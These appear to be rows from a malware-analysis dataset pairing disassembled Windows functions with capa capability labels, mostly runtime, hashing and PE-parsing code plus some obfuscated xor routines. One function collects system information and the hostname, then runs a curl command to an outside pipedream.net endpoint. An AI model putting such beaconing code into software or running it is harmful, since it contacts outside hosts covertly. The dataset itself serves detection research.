joyce8/EMBER2024-capa huggingface dataset:
Function at 0x1400e35b5
Capabilities:
Set thread local storage value

Disassembly:
push rbp
mov rbp, rsp
sub rsp, 0x40
mov qword [rbp + 0x10], rcx
mov dword [rbp - 0x14], 0
mov rax, qword [rbp + 0x10]
mov qword [rbp - 8], rax
call sym._fpreset
lea rax, [0x1400eccf0]
mov rcx, rax
call sym.pthread_mutex_lock
mov rax, qword [rbp - 8]
add rax, 0x38
mov rcx, rax
call sym.pthread_mutex_lock
lea rax, [sym.pthread_tls_init]
mov rdx, rax
lea rax, [0x14011c210]
mov rcx, rax
call sym._pthread_once_raw
mov eax, dword [0x1400ecce0]
mov rdx, qword [rbp - 8]
mov ecx, eax
mov rax, qword [sym.imp.KERNEL32.dll_TlsSetValue]
call rax
mov rax, qword [sym.imp.KERNEL32.dll_GetCurrentThreadId]
call rax
mov rdx, qword [rbp - 8]
mov dword [rdx + 0x70], eax
mov rax, qword [rbp - 8]
add rax, 0x38
mov rcx, rax
call sym.pthread_mutex_unlock
mov rdx, rbp
mov rax, qword [rbp - 8]
add rax, 0xd0
mov rcx, rax
call sym._setjmp
test eax, eax
jne 0x1400e36ca
mov qword [rbp - 0x10], pe_nt_image_headers64
lea rax, [0x1400eccf0]
mov rcx, rax
call sym.pthread_mutex_unlock
mov rax, qword [rbp - 8]
mov rax, qword [rax + 0x10]
test rax, rax
je 0x1400e3698
mov rax, qword [rbp - 8]
mov rdx, qword [rax + 0x10]
mov rax, qword [rbp - 8]
mov rax, qword [rax + 8]
mov rcx, rax
call rdx
mov qword [rbp - 0x10], rax
nop
nop
lea rax, [0x1400eccf0]
mov rcx, rax
call sym.pthread_mutex_lock
mov rdx, qword [rbp - 0x10]
mov rax, qword [rbp - 8]
mov qword [rax + 8], rdx
mov rax, qword [rbp - 8]
mov rax, qword [rax + 0x1d8]
mov rcx, rax
call sym._pthread_cleanup_dest
jmp 0x1400e36d9
lea rax, [0x1400eccf0]
mov rcx, rax
call sym.pthread_mutex_lock
mov rax, qword [rbp - 8]
add rax, 0x38
mov rcx, rax
call sym.pthread_mutex_lock
mov rax, qword [rbp - 8]
mov rax, qword [rax + 8]
mov dword [rbp - 0x14], eax
mov rax, qword [rbp - 8]
mov rax, qword [rax + 0x30]
test rax, rax
je 0x1400e3715
mov rax, qword [rbp - 8]
mov rax, qword [rax + 0x30]
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_CloseHandle]
call rax
mov rax, qword [rbp - 8]
mov qword [rax + 0x30], 0
mov rax, qword [rbp - 8]
mov rax, qword [rax + 0x28]
test rax, rax
jne 0x1400e3783
mov rax, qword [rbp - 8]
mov dword [rax], 0xdeadbeef
mov rax, qword [rbp - 8]
add rax, 0x38
mov rcx, rax
call sym.pthread_mutex_unlock
mov rax, qword [rbp - 8]
add rax, 0x38
mov rcx, rax
call sym.pthread_mutex_destroy
mov rax, qword [rbp - 8]
mov rcx, rax
call sym.push_pthread_mem
mov qword [rbp - 8], 0
mov eax, dword [0x1400ecce0]
mov rdx, qword [rbp - 8]
mov ecx, eax
mov rax, qword [sym.imp.KERNEL32.dll_TlsSetValue]
call rax
jmp 0x1400e37cd
mov rax, qword [rbp - 8]
add rax, 0x38
mov rcx, rax
call sym.pthread_mutex_unlock
mov rax, qword [rbp - 8]
add rax, 0x38
mov rcx, rax
call sym.pthread_mutex_destroy
mov rax, qword [rbp - 8]
mov qword [rax + 0x38], 0xffffffffffffffff
mov rax, qword [rbp - 8]
mov dword [rax + 0xbc], 1
jmp 0x1400e37cd
mov ecx, 0
mov rax, qword [sym.imp.KERNEL32.dll_Sleep]
call rax
lea rax, [0x1400eccf0]
mov rcx, rax
call sym.pthread_mutex_unlock
test eax, eax
je 0x1400e37bf
mov eax, dword [rbp - 0x14]
mov ecx, eax
mov rax, qword [sym.imp.msvcrt.dll__endthreadex]
call rax
nop
Function at 0x140fdacd4
Capabilities:
Encode data using xor

Disassembly:
pushfq
movabs r11, 0x20780c2337a23d52
and r11, 0x3b2f29bc
add qword [rsp + 8], 0xffffffffbef30b47
mov r11, qword [rsp + 0x10]
mov qword [rsp + 0x10], 0x741e16fe
push r13
movabs r13, 0x7370305441b01179
mov al, 0x41
push rsp
xor byte [rax + 0x73], dh
call fcn.141024983
loope 0x140fdad03
invalid

Function at 0x141024983
Capabilities:
Encode data using xor

Disassembly:
jae 0x1414b36b4
pop rax
fld st(4)
jnp 0x1410249ad
outsb dx, byte [rsi]
insb byte [rdi], dx
outsd dx, dword [rsi]
xchg ecx, eax
adc al, 0x32
xchg ebx, eax
sbb qword [rbx + 0x79c098dc], 0xfffffffff7823641
cmp rsp, rsi
pop rdx
or dl, ch
imul r11d, dword [r14 + rax*4 + 0x6d4afea2], 0x881caa80
invalid
lodsd eax, dword [rsi]
push rax
movsb byte [rdi], byte [rsi]
out dx, eax
insb byte [rdi], dx
adc ecx, eax
mov eax, 0xf9437989
adc eax, 0x2673ea24
jae 0x1410249a9
test r13w, r13w
jg 0x140f639da
jrcxz 0x1410249f4
movabs byte [0xd379ba9cbd537747], al
push rdx
push rsp
jne 0x141024970
mov dl, byte [rdi]
xchg ebx, eax
mov esp, gs
sbb al, byte [rbx - 0x3353741f]
jb 0x141024943
cdq
je 0x1410249bf
add al, 0x10
jne 0x141024a22
adc byte [rbp + 0x72], dh
rcl ebx, cl
lahf
fdiv qword [rdx - 0x6d]
ret 0x6292
in al, dx
mov bpl, 0xa
jle 0x141024998
invalid
mov ch, byte [rcx + riz*4]
invalid
mov ch, byte [rsp + rax*4 - 0x60]
jbe 0x141024a45
lodsd eax, dword [rsi]
jae 0x141024981
mov word [rbp + 0x24ee9110], cs
js 0x1410249eb
lea edx, [rax]
xchg ecx, eax
out dx, al
and al, 0x78
out dx, eax
jl 0x141024a2d
mov cl, 0xd2
cld
and eax, 0x3afc9377
invalid
iretd
mov ebx, dword [rcx]
invalid
add eax, 0x3b7e1474
or dl, byte [rbx]
jrcxz 0x141024a0f
fisttp qword [rsi + rdi*8 + 0x3d099507]
push rdi
in eax, dx
sbb dword [rdx + 0x5554928d], esp
test edx, 0x42f46af0
jb 0x1410249e6
push rsi
jb 0x1410249e9
outsb dx, byte [rsi]
movabs eax, dword [0x6b8dab56d2a83d0a]
scasb al, byte [rdi]
invalid
mov r13, qword [rsp + 8]
call fcn.1410c5634
scasd eax, dword [rdi]
test al, 0xef
js 0x1414b373d
add byte [rdx + rbp*8 + 0x7de0224a], ch
push qword [rsp + r12 + 0x38]
push qword [rsp + 0x38]
sbb eax, 0xcbd5c082
sbb bl, al
lodsb al, byte [rsi]
ror bl, cl
cmp eax, 0x742d609c
lock and dl, byte [rax]
je 0x1414b372f
and dl, byte [rax]
and dh, ah
jnp 0x1414b37bf
and dword [rcx + rdi*4 + 0xbda9aea], esi
sub dh, byte [rsp + rdx*2]
mov al, 0x75
jle 0x1414b3796
scasb al, byte [rdi]
adc al, 0x85
dec byte [rdx + 0x4b]
jbe 0x1414b37c6
and dh, byte [rax + rcx + 0x3b]
pop rsi
outsb dx, byte [rsi]
cli
xchg edi, eax
mov eax, dword [rbx - 0x31]
rol ecx, 1
imul rbp, rcx, 0xfffffffffffd9057
xchg ebp, eax
add eax, 0xd4a301fd
insd dword [rdi], dx
adc eax, 0x3aaa5810
invalid
adc byte [rax - 0x56], bl
cmp ah, byte [rcx + 0x70]
invalid
cmpsd dword [rsi], dword [rdi]
movabs al, byte [0xabd805a30212f804]
invalid
movabs dword [0x2e58007bffabd805], eax
mov dh, 0xd4
or al, 0x3d
insd dword [rdi], dx
mov edi, 0x87038267
stc
cmpsd dword [rsi], dword [rdi]
je 0x1414b377e
invalid
Function at 0x401010
Capabilities:
Parse pe header

Disassembly:
sub rsp, 0x28
mov rax, qword [0x00404720]
xor edx, edx
mov dword [rax], 1
mov rax, qword [0x00404730]
mov dword [rax], 1
mov rax, qword [0x00404740]
mov dword [rax], 1
mov rax, qword [0x00404710]
mov dword [rax], 1
mov rax, qword [0x00404600]
cmp word [rax], 0x5a4d
je 0x4010b0
mov rax, qword [0x00404700]
mov dword [0x00407008], edx
mov eax, dword [rax]
test eax, eax
je 0x4010a0
mov ecx, 2
call sym.__set_app_type
call sym.__p__fmode
mov rdx, qword [0x004046c0]
mov edx, dword [rdx]
mov dword [rax], edx
call sym._setargv
mov rax, qword [0x004045b0]
cmp dword [rax], 1
je 0x4010f0
xor eax, eax
add rsp, 0x28
ret
mov ecx, 1
call sym.__set_app_type
jmp 0x401075
movsxd rcx, dword [rax + 0x3c]
add rax, rcx
cmp dword [rax], 0x4550
jne 0x401058
movzx ecx, word [rax + 0x18]
cmp cx, 0x10b
je 0x401103
cmp cx, 0x20b
jne 0x401058
cmp dword [rax + 0x84], 0xe
jbe 0x401058
mov ecx, dword [rax + 0xf8]
xor edx, edx
test ecx, ecx
setne dl
jmp 0x401058
lea rcx, [sym._matherr]
call sym.__mingw_setusermatherr
xor eax, eax
add rsp, 0x28
ret
cmp dword [rax + 0x74], 0xe
jbe 0x401058
mov r8d, dword [rax + 0xe8]
xor edx, edx
test r8d, r8d
setne dl
jmp 0x401058

Function at 0x401550
Capabilities:
Execute command
Get hostname
Get system information on windows

Disassembly:
push rbp
mov eax, 0x82f0
call fcn.00402a90
sub rsp, rax
lea rbp, [rsp + 0x80]
call sym.__main
lea rax, [rbp + 0x7fe0]
lea rdx, [0x00404038]
mov ecx, 0x284
mov r8, rcx
mov rcx, rax
call sym.memcpy
lea rax, [rbp + 0x7fb0]
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_GetSystemInfo]
call rax
mov dword [rbp + 0x826c], 0
mov dword [rbp + 0x7fac], 0x7fff
lea rax, [rbp - 0x60]
mov edx, 0x7fff
mov r8, rdx
mov edx, 0
mov rcx, rax
call sym.memset
lea rdx, [rbp + 0x7fac]
lea rax, [rbp - 0x60]
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_GetComputerNameA]
call rax
lea rax, [rbp - 0x60]
mov rdx, rax
lea rcx, section..rdata
call sym.printf
lea rcx, str.curl_https:__eo77xqkzb5x7fb3.m.pipedream.net
call sym.system
mov eax, 0
add rsp, 0x82f0
pop rbp
ret
Function at 0x4026d0
Capabilities:
Parse pe header

Disassembly:
cmp word [rcx], 0x5a4d
je 0x4026e0
xor eax, eax
ret
jmp sym._ValidateImageBase.part.0

Function at 0x4026f0
Capabilities:
Enumerate pe sections

Disassembly:
movsxd rax, dword [rcx + 0x3c]
add rcx, rax
movzx eax, word [rcx + 0x14]
lea rax, [rcx + rax + 0x18]
movzx ecx, word [rcx + 6]
test ecx, ecx
je 0x402731
sub ecx, 1
lea rcx, [rcx + rcx*4]
lea r9, [rax + rcx*8 + 0x28]
mov r8d, dword [rax + 0xc]
cmp r8, rdx
mov rcx, r8
ja 0x402728
add ecx, dword [rax + 8]
cmp rcx, rdx
ja 0x402733
add rax, 0x28
cmp rax, r9
jne 0x402714
xor eax, eax
ret

Function at 0x4027d0
Capabilities:
Enumerate pe sections

Disassembly:
sub rsp, 0x28
mov r8, qword [0x00404600]
cmp word [r8], 0x5a4d
mov rdx, rcx
jne 0x40283d
mov rcx, r8
call sym._ValidateImageBase.part.0
test eax, eax
je 0x40283d
movsxd rax, dword [r8 + 0x3c]
mov rcx, rdx
sub rcx, r8
add r8, rax
movzx edx, word [r8 + 6]
movzx eax, word [r8 + 0x14]
test edx, edx
lea rax, [r8 + rax + 0x18]
je 0x40283d
sub edx, 1
lea rdx, [rdx + rdx*4]
lea r9, [rax + rdx*8 + 0x28]
nop
mov r8d, dword [rax + 0xc]
cmp rcx, r8
mov rdx, r8
jb 0x402834
add edx, dword [rax + 8]
cmp rcx, rdx
jb 0x40283f
add rax, 0x28
cmp rax, r9
jne 0x402820
xor eax, eax
add rsp, 0x28
ret

Function at 0x402940
Capabilities:
Enumerate pe sections

Disassembly:
sub rsp, 0x28
mov r8, qword [0x00404600]
xor eax, eax
cmp word [r8], 0x5a4d
mov rdx, rcx
je 0x402960
add rsp, 0x28
ret
mov rcx, r8
call sym._ValidateImageBase.part.0
test eax, eax
je 0x402958
movsxd rax, dword [r8 + 0x3c]
mov rcx, rdx
sub rcx, r8
add r8, rax
movzx edx, word [r8 + 6]
movzx eax, word [r8 + 0x14]
test edx, edx
lea rax, [r8 + rax + 0x18]
je 0x4029bd
sub edx, 1
lea rdx, [rdx + rdx*4]
lea r9, [rax + rdx*8 + 0x28]
nop dword [rax + rax]
mov r8d, dword [rax + 0xc]
cmp rcx, r8
mov rdx, r8
jb 0x4029b4
add edx, dword [rax + 8]
cmp rcx, rdx
jb 0x4029c4
add rax, 0x28
cmp rax, r9
jne 0x4029a0
xor eax, eax
add rsp, 0x28
ret
mov eax, dword [rax + 0x24]
not eax
shr eax, 0x1f
add rsp, 0x28
ret

Function at 0x4029e0
Capabilities:
Enumerate pe sections

Disassembly:
sub rsp, 0x28
mov r11, qword [0x00404600]
cmp word [r11], 0x5a4d
mov r9d, ecx
jne 0x402a4e
mov rcx, r11
call sym._ValidateImageBase.part.0
test eax, eax
je 0x402a4e
movsxd rax, dword [r11 + 0x3c]
add rax, r11
mov edx, dword [rax + 0x90]
test edx, edx
je 0x402a4e
movzx ecx, word [rax + 0x14]
lea rcx, [rax + rcx + 0x18]
movzx eax, word [rax + 6]
test eax, eax
je 0x402a4e
sub eax, 1
lea rax, [rax + rax*4]
lea rax, [rcx + rax*8 + 0x28]
mov r10d, dword [rcx + 0xc]
cmp rdx, r10
mov r8, r10
jb 0x402a45
add r8d, dword [rcx + 8]
cmp rdx, r8
jb 0x402a55
add rcx, 0x28
cmp rcx, rax
jne 0x402a30
xor eax, eax
add rsp, 0x28
ret
add rdx, r11
jne 0x402a68
jmp 0x402a4e
sub r9d, 1
add rdx, 0x14
mov ecx, dword [rdx + 4]
test ecx, ecx
jne 0x402a76
mov eax, dword [rdx + 0xc]
test eax, eax
je 0x402a4e
test r9d, r9d
jg 0x402a60
mov eax, dword [rdx + 0xc]
add rax, r11
add rsp, 0x28
ret
Function at 0x1400436f0
Capabilities:
Hash data with crc32

Disassembly:
mov qword [rsp + 8], rbx
mov qword [rsp + 0x10], rbp
mov qword [rsp + 0x18], rsi
push rdi
push r14
push r15
sub rsp, 0x20
mov rdi, qword [0x1401d44d0]
xor r15d, r15d
mov ebp, ecx
mov r14d, r15d
mov rsi, qword [rdi + 0x3ed8]
test cl, 0x10
jne 0x140043881
mov ebx, dword [rdi + 0x477c]
test ebx, ebx
je 0x140043767
cmp dword [rdi + 0x3f44], ebx
jne 0x14004387a
mov eax, dword [rdi + 0x3f6c]
cmp eax, 0xffffffff
cmove eax, r15d
movsxd r15, eax
cmp byte [r15 + rdi + 0xe10], r14b
je 0x14004387a
cmp byte [rsi + 0xbb], r14b
jmp 0x140043822
cmp byte [rdi + 0xe10], r14b
je 0x14004387a
cmp byte [rsi + 0xbb], r14b
jne 0x14004387a
test byte [rdi + 0x4784], 1
jne 0x1400437a4
cmp dword [rdi + 0x3f44], r14d
je 0x14004387a
cmp qword [rdi + 0x3f60], rsi
jne 0x14004387a
test bpl, 8
je 0x14004387a
lea rdx, [rdi + 0x4788]
mov rcx, rsi
call fcn.140048a80
mov ebx, eax
mov dword [rdi + 0x477c], eax
mov rax, qword [0x1401d44d0]
cmp dword [rax + 0x3f44], ebx
jne 0x1400437da
mov dword [rax + 0x3f48], ebx
cmp dword [rax + 0x3f70], ebx
jne 0x1400437e9
mov byte [rax + 0x3f74], 1
mov edx, ebx
lea rcx, [rdi + 0x4788]
call fcn.14004b460
movzx r14d, al
test al, al
je 0x14004381c
cmp byte [rdi + 0x3748], r15b
je 0x14004381c
mov rdx, rsi
mov ecx, ebx
call fcn.1400552b0
xor edx, edx
mov rcx, rsi
call fcn.140048100
cmp dword [rdi + 0x3f44], ebx
jne 0x14004387a
mov byte [rdi + 0x3f51], r14b
movsxd rcx, dword [rsi + 0xf0]
mov rax, qword [rsi + 0xf8]
mov r14d, dword [rax + rcx*4 - 4]
mov rax, qword [0x1401d44d0]
movsxd rcx, r15d
cmp byte [rcx + rax + 0xe10], 0
jne 0x140043857
xor sil, sil
jmp 0x140043870
movss xmm1, dword [rax + 0x38]
movss xmm0, dword [rax + rcx*4 + 0x37a0]
mulss xmm1, xmm1
comiss xmm0, xmm1
setae sil
call fcn.140055410
test sil, sil
jne 0x1400438d2
xor al, al
jmp 0x140043972
mov r9d, 0xffffffff
lea rdx, [0x14013cae9]
mov ebx, r9d
lea r10, [0x14013b3f0]
mov r8b, reloc.WLDAP32.dll_Ordinal_35
nop dword [rax + rax]
cmp r8b, 0x23
jne 0x1400438b3
cmp byte [rdx], r8b
jne 0x1400438b3
cmp byte [rdx + 1], r8b
cmove ebx, r9d
movzx ecx, bl
movzx eax, r8b
movzx r8d, byte [rdx]
xor rcx, rax
shr ebx, 8
inc rdx
xor ebx, dword [r10 + rcx*4]
test r8b, r8b
jne 0x1400438a0
not ebx
cmp byte [rdi + 0x4a84], 0
jne 0x140043910
call fcn.140044fa0
mov dword [rdi + 0x4aa4], ebx
mov dword [rdi + 0x4aa8], r14d
mov byte [rdi + 0x4a84], 1
mov dword [rdi + 0x4a88], ebp
mov dword [rdi + 0x4a90], r15d
cmp ebx, dword [rdi + 0x3f44]
jne 0x140043910
mov byte [rdi + 0x3f52], 1
mov eax, dword [rdi + 0x3e28]
mov dword [rdi + 0x4a8c], eax
mov byte [rdi + 0x4a85], 1
test bpl, 1
jne 0x140043963
xor edx, edx
xor ecx, ecx
call fcn.140043d20
cmp dword [rdi + 0x4af8], 0
je 0x140043963
test dword [rdi + 0x4aec], 0x1000
je 0x140043963
mov rax, qword [rdi + 0x3ed8]
mov byte [rax + 0xbb], 1
mov byte [rax + 0xbd], 1
mov byte [rax + 0xd8], 1
test bpl, 0x12
jne 0x140043970
and dword [rdi + 0x4784], 0xfffffffe
mov al, 1
mov rbx, qword [rsp + 0x40]
mov rbp, qword [rsp + 0x48]
mov rsi, qword [rsp + 0x50]
add rsp, 0x20
pop r15
pop r14
pop rdi
ret
Function at 0x140043d20
Capabilities:
Hash data with crc32

Disassembly:
mov qword [rsp + 8], rbx
mov qword [rsp + 0x18], rsi
push rdi
sub rsp, 0x40
mov rax, qword [0x1401cd7c0]
xor rax, rsp
mov qword [rsp + 0x30], rax
mov rbx, qword [0x1401d44d0]
mov edi, edx
mov esi, ecx
cmp byte [rbx + 0x4a85], 0
jne 0x140043d88
cmp byte [rbx + 0x4a86], 0
jne 0x140043d88
movsx r9d, word [rbx + 0x5baa]
lea r8, str.Tooltip__02d
mov edx, reloc.WS2_32.dll_recv
lea rcx, [rsp + 0x20]
call fcn.140049870
test sil, 1
je 0x140043ec0
jmp 0x140043e21
movss xmm1, dword [rbx + 0x389c]
lea r8, str.Tooltip__02d
movaps xmm0, xmm1
lea rcx, [rsp + 0x20]
mulss xmm0, dword [0x14013cd48]
xor eax, eax
mov edx, reloc.WS2_32.dll_recv
mulss xmm1, dword [0x14013cd3c]
addss xmm0, dword [rbx + 0xe08]
addss xmm1, dword [rbx + 0xe0c]
or dword [rbx + 0x47b8], 1
mov qword [rbx + 0x47d0], rax
movss dword [rbx + 0x47c8], xmm0
mov dword [rbx + 0x47bc], 1
movss dword [rbx + 0x47cc], xmm1
movss xmm0, dword [rbx + 0x38f8]
mov rax, qword [0x1401d44d0]
mulss xmm0, dword [0x14013ccf0]
or dword [rax + 0x47b8], 0x40
movss dword [rax + 0x4818], xmm0
movsx r9d, word [rbx + 0x5baa]
call fcn.140049870
movzx r9d, byte [rsp + 0x20]
lea r8, [rsp + 0x21]
mov r10d, 0xffffffff
mov ecx, r10d
test r9b, r9b
je 0x140043e71
lea r11, [0x14013b3f0]
cmp r9b, 0x23
jne 0x140043e54
cmp byte [r8], r9b
jne 0x140043e54
cmp byte [r8 + 1], r9b
cmove ecx, r10d
movzx edx, cl
movzx eax, r9b
movzx r9d, byte [r8]
xor rdx, rax
shr ecx, 8
inc r8
xor ecx, dword [r11 + rdx*4]
test r9b, r9b
jne 0x140043e41
not ecx
call fcn.140047e70
test rax, rax
je 0x140043ec0
cmp byte [rax + 0xb6], 0
je 0x140043ec0
mov byte [rax + 0xbb], 1
lea r8, str.Tooltip__02d
mov byte [rax + 0xbd], 1
lea rcx, [rsp + 0x20]
mov byte [rax + 0xd8], 1
mov edx, reloc.WS2_32.dll_recv
inc word [rbx + 0x5baa]
movsx r9d, word [rbx + 0x5baa]
call fcn.140049870
or edi, 0x20c0347
lea rcx, [rsp + 0x20]
mov r8d, edi
xor edx, edx
call fcn.140041050
mov al, 1
mov rcx, qword [rsp + 0x30]
xor rcx, rsp
call fcn.140135b50
mov rbx, qword [rsp + 0x50]
mov rsi, qword [rsp + 0x60]
add rsp, 0x40
pop rdi
ret

Function at 0x140047dc0
Capabilities:
Hash data with crc32

Disassembly:
sub rsp, 8
movzx r9d, byte [rcx]
lea r8, [rcx + 1]
mov r10, qword [0x1401d44d0]
mov r11d, 0xffffffff
mov eax, r11d
test r9b, r9b
je 0x140047e23
mov qword [rsp], rbx
lea rbx, [0x14013b3f0]
nop dword [rax]
cmp r9b, 0x23
jne 0x140047e03
cmp byte [r8], r9b
jne 0x140047e03
cmp byte [r8 + 1], r9b
cmove eax, r11d
movzx edx, al
movzx ecx, r9b
movzx r9d, byte [r8]
xor rdx, rcx
shr eax, 8
inc r8
xor eax, dword [rbx + rdx*4]
test r9b, r9b
jne 0x140047df0
mov rbx, qword [rsp]
movsxd rcx, dword [r10 + 0x5c08]
xor r8d, r8d
not eax
test ecx, ecx
jle 0x140047e57
mov r10, qword [r10 + 0x5c10]
mov r9, rcx
mov edx, r8d
lea rcx, [r10 + 8]
cmp dword [rcx], eax
je 0x140047e5e
inc r8d
inc rdx
add rcx, 0x48
cmp rdx, r9
jl 0x140047e44
xor eax, eax
add rsp, 8
ret
movsxd rax, r8d
lea rcx, [rax + rax*8]
lea rax, [r10 + rcx*8]
add rsp, 8
ret
Function at 0x140047ef0
Capabilities:
Hash data with crc32

Disassembly:
mov rax, rcx
mov r10d, 0xffffffff
mov ecx, r10d
movzx r9d, byte [rax]
lea r8, [rax + 1]
test r9b, r9b
je 0x140047f40
lea r11, [0x14013b3f0]
cmp r9b, 0x23
jne 0x140047f23
cmp byte [r8], r9b
jne 0x140047f23
cmp byte [r8 + 1], r9b
cmove ecx, r10d
movzx edx, cl
movzx eax, r9b
movzx r9d, byte [r8]
xor rdx, rax
shr ecx, 8
inc r8
xor ecx, dword [r11 + rdx*4]
test r9b, r9b
jne 0x140047f10
not ecx
jmp fcn.140047e70

Function at 0x140048960
Capabilities:
Hash data with crc32

Disassembly:
push rbx
sub rsp, 0x20
movsxd r8, dword [rcx + 0xf0]
lea r11, [0x14013b3f0]
mov rax, qword [rcx + 0xf8]
mov r9, rcx
movsxd r10, edx
mov ebx, dword [rax + r8*4 - 4]
not ebx
movzx eax, r10b
movzx r8d, bl
shr ebx, 8
xor r8, rax
mov eax, r10d
shr eax, 8
movzx edx, al
mov eax, r10d
xor ebx, dword [r11 + r8*4]
movzx ecx, bl
xor rdx, rcx
shr ebx, 8
shr eax, 0x10
xor ebx, dword [r11 + rdx*4]
movzx ecx, bl
shr ebx, 8
movzx edx, al
xor rdx, rcx
xor ebx, dword [r11 + rdx*4]
movzx ecx, bl
shr ebx, 8
mov edx, r10d
shr rdx, 0x18
xor rdx, rcx
mov rcx, qword [r9]
xor ebx, dword [r11 + rdx*4]
not ebx
cmp dword [rcx + 0x3f2c], ebx
jne 0x1400489f8
xor r9d, r9d
mov r8, r10
mov ecx, ebx
lea edx, [r9 + 4]
call fcn.140045bb0
mov eax, ebx
add rsp, 0x20
pop rbx
ret
Function at 0x140048a80
Capabilities:
Hash data with crc32

Disassembly:
sub rsp, 0x18
mov rax, qword [rcx + 0xf8]
lea r9, [0x14013b3f0]
movss xmm2, dword [rcx + 0x110]
movss xmm3, dword [rcx + 0x114]
movsxd rcx, dword [rcx + 0xf0]
movss xmm0, dword [rdx]
movss xmm1, dword [rdx + 4]
subss xmm0, xmm2
subss xmm1, xmm3
mov r8d, dword [rax + rcx*4 - 4]
not r8d
movzx ecx, r8b
shr r8d, 8
movss dword [rsp], xmm0
movzx eax, byte [rsp]
xor rcx, rax
movss xmm0, dword [rdx + 8]
movzx eax, byte [rsp + 1]
subss xmm0, xmm2
movss dword [rsp + 4], xmm1
movss xmm1, dword [rdx + 0xc]
xor r8d, dword [r9 + rcx*4]
subss xmm1, xmm3
movzx ecx, r8b
xor rcx, rax
shr r8d, 8
movzx eax, byte [rsp + 2]
movss dword [rsp + 8], xmm0
movss dword [rsp + 0xc], xmm1
xor r8d, dword [r9 + rcx*4]
movzx ecx, r8b
xor rcx, rax
shr r8d, 8
movzx eax, byte [rsp + 3]
xor r8d, dword [r9 + rcx*4]
movzx ecx, r8b
xor rcx, rax
shr r8d, 8
movzx eax, byte [rsp + 4]
xor r8d, dword [r9 + rcx*4]
movzx ecx, r8b
xor rcx, rax
shr r8d, 8
movzx eax, byte [rsp + 5]
xor r8d, dword [r9 + rcx*4]
movzx ecx, r8b
xor rcx, rax
shr r8d, 8
movzx eax, byte [rsp + 6]
xor r8d, dword [r9 + rcx*4]
movzx ecx, r8b
xor rcx, rax
shr r8d, 8
movzx eax, byte [rsp + 7]
xor r8d, dword [r9 + rcx*4]
movzx ecx, r8b
xor rcx, rax
shr r8d, 8
movzx eax, byte [rsp + 8]
xor r8d, dword [r9 + rcx*4]
movzx ecx, r8b
xor rcx, rax
shr r8d, 8
movzx eax, byte [rsp + 9]
xor r8d, dword [r9 + rcx*4]
movzx ecx, r8b
xor rcx, rax
shr r8d, 8
movzx eax, byte [rsp + 0xa]
xor r8d, dword [r9 + rcx*4]
movzx ecx, r8b
xor rcx, rax
shr r8d, 8
movzx eax, byte [rsp + 0xb]
xor r8d, dword [r9 + rcx*4]
movzx ecx, r8b
xor rcx, rax
shr r8d, 8
movzx eax, byte [rsp + 0xc]
xor r8d, dword [r9 + rcx*4]
movzx ecx, r8b
xor rcx, rax
shr r8d, 8
movzx eax, byte [rsp + 0xd]
xor r8d, dword [r9 + rcx*4]
movzx ecx, r8b
xor rcx, rax
shr r8d, 8
movzx eax, byte [rsp + 0xe]
xor r8d, dword [r9 + rcx*4]
movzx ecx, r8b
xor rcx, rax
shr r8d, 8
xor r8d, dword [r9 + rcx*4]
movzx ecx, byte [rsp + 0xf]
movzx edx, r8b
shr r8d, 8
xor rdx, rcx
xor r8d, dword [r9 + rdx*4]
not r8d
mov eax, r8d
add rsp, 0x18
ret
Function at 0x1400495c0
Capabilities:
Read file on windows

Disassembly:
push rbx
push rbp
push r14
sub rsp, 0x20
movsxd rbp, r9d
mov r14, r8
test r8, r8
je 0x1400495db
mov qword [r8], 0
call fcn.140049720
mov rbx, rax
test rax, rax
jne 0x1400495f1
add rsp, 0x20
pop r14
pop rbp
pop rbx
ret
mov qword [rsp + 0x40], rsi
mov rcx, rbx
mov qword [rsp + 0x48], rdi
mov qword [rsp + 0x50], r15
call qword [sym.imp.api_ms_win_crt_stdio_l1_1_0.dll_ftell]
mov esi, eax
cmp eax, 0xffffffff
je 0x1400496f9
xor edx, edx
mov rcx, rbx
lea r8d, [rdx + 2]
call qword [sym.imp.api_ms_win_crt_stdio_l1_1_0.dll_fseek]
test eax, eax
jne 0x1400496f9
mov rcx, rbx
call qword [sym.imp.api_ms_win_crt_stdio_l1_1_0.dll_ftell]
movsxd rdi, eax
cmp edi, 0xffffffff
je 0x1400496f9
xor r8d, r8d
mov edx, esi
mov rcx, rbx
call qword [sym.imp.api_ms_win_crt_stdio_l1_1_0.dll_fseek]
test eax, eax
jne 0x1400496f9
cmp rdi, 0xffffffffffffffff
je 0x1400496f9
mov rax, qword [0x1401d44d0]
test rax, rax
je 0x140049672
inc dword [rax + 0xf4]
mov rdx, qword [0x1401d44e0]
lea rcx, [rdi + rbp]
call qword [section..data]
mov rsi, rax
test rax, rax
je 0x1400496f9
mov r9, rbx
mov r8, rdi
mov edx, 1
mov rcx, rax
call qword [sym.imp.api_ms_win_crt_stdio_l1_1_0.dll_fread]
cmp rax, rdi
je 0x1400496d1
mov rcx, rbx
call qword [sym.imp.api_ms_win_crt_stdio_l1_1_0.dll_fclose]
mov rax, qword [0x1401d44d0]
test rax, rax
je 0x1400496bf
dec dword [rax + 0xf4]
mov rdx, qword [0x1401d44e0]
mov rcx, rsi
call qword [0x1401b6008]
jmp 0x140049702
test ebp, ebp
jle 0x1400496e3
lea rcx, [rsi + rdi]
mov r8, rbp
xor edx, edx
call sub.VCRUNTIME140.dll_memset
mov rcx, rbx
call qword [sym.imp.api_ms_win_crt_stdio_l1_1_0.dll_fclose]
test r14, r14
je 0x1400496f4
mov qword [r14], rdi
mov rax, rsi
jmp 0x140049704
mov rcx, rbx
call qword [sym.imp.api_ms_win_crt_stdio_l1_1_0.dll_fclose]
xor eax, eax
mov rdi, qword [rsp + 0x48]
mov rsi, qword [rsp + 0x40]
mov r15, qword [rsp + 0x50]
add rsp, 0x20
pop r14
pop rbp
pop rbx
ret

Function at 0x140049b30
Capabilities:
Hash data with crc32

Disassembly:
mov qword [rsp + 8], rbx
mov r11d, r8d
mov r10, rdx
not r11d
mov r9, rcx
mov eax, r11d
test rdx, rdx
je 0x140049b8d
lea rbx, [0x14013b3f0]
movzx r8d, byte [r9]
lea r9, [r9 + 1]
dec r10
cmp r8b, 0x23
jne 0x140049b74
cmp r10, 2
jb 0x140049b74
cmp byte [r9], r8b
jne 0x140049b74
cmp byte [r9 + 1], r8b
cmove eax, r11d
movzx edx, al
xor rdx, r8
shr eax, 8
xor eax, dword [rbx + rdx*4]
test r10, r10
jne 0x140049b50
not eax
